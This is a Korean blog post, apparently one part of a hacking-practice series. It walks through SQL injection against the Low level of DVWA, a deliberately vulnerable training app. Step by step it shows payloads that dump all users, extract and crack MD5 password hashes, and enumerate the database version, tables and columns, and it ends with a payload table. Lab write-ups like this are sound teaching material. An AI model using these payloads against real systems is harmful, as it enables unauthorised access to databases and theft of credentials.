들어가며
환경 구성이 끝났으니 본격적으로 SQL 인젝션 공격을 진행했다. Low 레벨은 입력값 검증이 전혀 없어서 가장 기본적인 공격 기법을 그대로 사용할 수 있다. 에러 확인부터 DB 전체 정보 추출까지 단계별로 진행해봤다.
환경 구성 글: SQL 인젝션 실습 1편 - DVWA 환경 구성
1. 정상 동작 확인
SQL Injection 메뉴에서 User ID 입력창에 1 입력 후 Submit.

결과:
ID: 1
First name: admin
Surname: admin
내부적으로 실행된 쿼리:
SELECT * FROM users WHERE id = '1'
정상적으로 DB에서 ID 1번 사용자를 조회해서 출력하는 것을 확인.
2. SQL 에러 확인 (인젝션 가능 여부 판단)
입력창에 1' (작은따옴표 추가) 입력 후 Submit.

에러 메시지:
You have an error in your SQL syntax...near ''1''' at line 1
해석:
'1' 을 입력했더니 내부 쿼리가:
WHERE id = ''1'''
이렇게 따옴표가 엉켜서 문법 오류 발생
→ 입력값을 그대로 SQL에 넣는다는 증거
→ SQL 인젝션 가능 확인
3. 전체 사용자 목록 추출 (OR 1=1)
입력창에 입력:
1' OR '1'='1

변조된 쿼리:
SELECT * FROM users WHERE id = '1' OR '1'='1'
'1'='1' 은 항상 참
→ WHERE 조건이 항상 참
→ DB의 모든 사용자 반환
결과:
admin / Gordon Brown / Hack Me / Pablo Picasso / Bob Smith
→ 5명 전체 계정 정보 노출
4. 비밀번호 해시 추출 (UNION 기반)
처음에 아래처럼 입력했다:
1' UNION SELECT user, password FROM users --

에러 메시지:
You have an error in your SQL syntax...near '--'' at line 1
이유:
MariaDB/MySQL에서 -- 주석은 뒤에 공백이 필요하다.
공백 없이 -- 만 쓰면 주석으로 인식하지 않아서 오류 발생
-- 대신 # 으로 바꿔서 다시 입력:
1' UNION SELECT user, password FROM users #

변조된 쿼리:
SELECT first_name, last_name FROM users WHERE id = '1'
UNION SELECT user, password FROM users #
→ 원래 쿼리 결과 + users 테이블의 계정명/비밀번호 같이 출력
결과:
admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337 : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy : 5f4dcc3b5aa765d61d8327deb882cf99
왜 -- 대신 # 을 쓰냐면: MariaDB/MySQL에서 -- 주석은 뒤에 공백이 필요하다. # 은 공백 없이도 주석으로 인식되어 더 편리하다.
MD5 해시 크랙 결과:
| 계정 | 해시 | 실제 비밀번호 |
| admin | 5f4dcc3b5... | password |
| gordonb | e99a18c42... | abc123 |
| 1337 | 8d3533d75... | charley |
| pablo | 0d107d09f... | letmein |
| smithy | 5f4dcc3b5... | password |
MD5는 이미 크랙된 해시가 대부분 공개되어 있어서 온라인 도구(crackstation.net 등)로 쉽게 복호화 가능하다.
5. DB 버전 및 이름 추출
입력창에 입력:
1' UNION SELECT version(), database() #

결과:
First name: 10.1.26-MariaDB-0+deb9u1 ← DB 버전
Surname: dvwa ← 현재 DB 이름
→ MariaDB 10.1.26 사용 중
→ DB 이름은 dvwa
→ 공격자는 이 정보로 해당 버전의 추가 취약점을 찾아냄
6. 테이블 목록 추출
입력창에 입력:
1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' #

결과:
guestbook ← 방명록 테이블
users ← 사용자 계정 테이블
→ information_schema는 MySQL/MariaDB가 자체적으로 가지고 있는
DB 구조 정보를 담은 시스템 테이블
→ 여기서 테이블 목록, 컬럼 목록 등을 조회 가능
NULL을 넣는 이유: UNION은 두 쿼리의 컬럼 수가 같아야 한다. 원래 쿼리가 컬럼 2개이므로 UNION SELECT도 2개가 필요한데, 두 번째 자리에 필요 없는 값은 NULL로 채운다.
7. 컬럼 목록 추출
입력창에 입력:
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' #

결과:
users 테이블 컬럼 목록:
user_id ← 사용자 ID 번호
first_name ← 이름
last_name ← 성
user ← 계정명
password ← 비밀번호 (해시)
avatar ← 프로필 이미지
last_login ← 마지막 로그인 시간
failed_login ← 로그인 실패 횟수
8. 원하는 데이터 자유롭게 추출
컬럼 목록을 알았으니 원하는 데이터를 뽑을 수 있다.
1' UNION SELECT user, last_login FROM users #

결과:
admin : 2026-07-14 10:42:27
gordonb : 2026-07-14 10:42:27
...
9. Low 레벨 취약한 코드 확인
오른쪽 하단 View Source 클릭하면 취약한 PHP 코드를 확인할 수 있다.
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
입력값 $id를 그대로 쿼리에 삽입
→ 검증 없음 → SQL 인젝션 가능
Low 레벨 실습 전체 정리
| 1 | 1 | 정상 조회 확인 |
| 2 | 1' | SQL 에러 → 인젝션 가능 확인 |
| 3 | 1' OR '1'='1 | 전체 사용자 목록 추출 |
| 4 | 1' UNION SELECT user, password FROM users # | 비밀번호 해시 추출 |
| 5 | 1' UNION SELECT version(), database() # | DB 버전/이름 추출 |
| 6 | 1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' # | 테이블 목록 추출 |
| 7 | 1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' # | 컬럼 목록 추출 |
| 8 | 1' UNION SELECT user, last_login FROM users # | 원하는 데이터 추출 |
마무리
Low 레벨에서는 입력값 검증이 전혀 없어서 기본적인 SQL 인젝션 기법이 그대로 통한다. 특히 information_schema를 활용하면 DB 구조를 통째로 파악할 수 있다는 게 가장 위험한 포인트다. 비밀번호까지 추출하고 나면 사실상 DB 전체가 공격자 손에 넘어간 것이다.
다음 글에서는 Medium 레벨로 올려서 필터링이 걸렸을 때 어떻게 우회하는지 다뤄볼 예정이다.
더 나은 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.
이 블로그의 관련 글:
'정보 보안 > 모의해킹' 카테고리의 다른 글
| SQL 인젝션 실습 1편 - DVWA 환경 구성 (Docker) (0) | 2026.07.14 |
|---|---|
| 버퍼 오버플로우 실습 2편 - 32비트/64비트 익스플로잇 과정 (0) | 2026.07.08 |
| 버퍼 오버플로우 실습 환경 구성 - Docker 설치부터 컨테이너 생성까지 (0) | 2026.07.08 |
| Burp suite(버프스위트) 설치 및 기본 설정 (0) | 2025.04.02 |